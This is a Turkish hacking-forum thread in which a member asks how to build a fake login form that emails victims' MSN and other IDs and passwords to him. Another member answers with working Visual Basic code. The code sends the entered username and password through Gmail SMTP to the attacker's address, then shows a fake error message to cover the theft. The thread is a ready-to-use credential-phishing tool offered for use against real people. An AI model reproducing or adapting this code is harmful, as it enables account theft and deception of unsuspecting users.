Mail Gonderen Keylogger yapımı ? ?

oosmanmt2

Üye
17 Eki 2012
230
0
Mail Gonderen Keylogger yapımı ? ? Yardım EDene TŞK

Mesala Ben Visualbasic , vb.net 2010 - 2012

ıd
pw

yada

msn ıd
pw

gibi Fake yapcam yazıkları bana mail olarak gelcek


Yardımcı Olursnaız teşekkür vercem :) acill
 
Son düzenleme:

Black-Spy'

Özel Üye
31 Ocak 2013
6,030
4
İstanbul
Text1 İle Text2 'YE Yazdıklarını Senin Maile Gönderir ;
Private Sub Command1_Click()
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "emailiniz" '
Flds.Item(schema & "sendpassword") = "şifreniz" '
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "emailiniz" '
.From = "emailiniz" '
.Subject = "mail konu başlığı"
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
MsgBox "hata mesajınız", vbCritical, "hata mesajı başlığınız" '
End Sub
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.